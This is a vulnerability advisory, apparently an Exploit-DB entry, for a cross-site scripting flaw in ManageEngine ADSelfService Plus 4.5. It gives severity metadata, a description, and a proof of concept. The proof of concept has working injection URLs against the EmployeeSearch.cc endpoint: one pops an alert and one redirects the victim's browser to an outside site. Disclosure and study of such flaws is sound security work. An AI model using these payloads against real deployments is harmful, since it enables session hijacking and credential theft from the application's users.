Cross-Site Scripting Vulnerability in ZOHO ManageEngine ADSelfService Plus

vendor:

ManageEngine ADSelfService Plus

by:

Unknown

7.5

CVSS

HIGH

Cross-Site Scripting

CWE

Product Name: ManageEngine ADSelfService Plus

Affected Version From: 4.5 Build 4521

Affected Version To: Unknown (other versions may also be affected)

Patch Exists: NO

Related CWE: Not mentioned

CPE: a:manageengine:adselfservice_plus:4.5

Metasploit:

Other Scripts:

Platforms Tested:

Unknown

Cross-Site Scripting Vulnerability in ZOHO ManageEngine ADSelfService Plus

ZOHO ManageEngine ADSelfService Plus is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Mitigation:

No specific mitigation or remediation mentioned

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/50717/info

ZOHO ManageEngine ADSelfService Plus is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

ManageEngine ADSelfService Plus 4.5 Build 4521 is vulnerable; other versions may also be affected. 

Proof of Concept
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Double-Quote String Termination
HTTP Request =
https://serverip:port/EmployeeSearch.cc?searchType=contains&searchBy=ALL_FIELDS&searchString=";alert("XSS");//\"

Response Source View
<script language="javascript">
var searchValue = "';alert(XSS)//\"";


Single-Quote String Termination
Similarly...
HTTP Request
https://serverip:port/EmployeeSearch.cc?searchType=';document.location="http://www.cnn.com";//\"&searchBy=ALL_FIELDS&searchString=BoB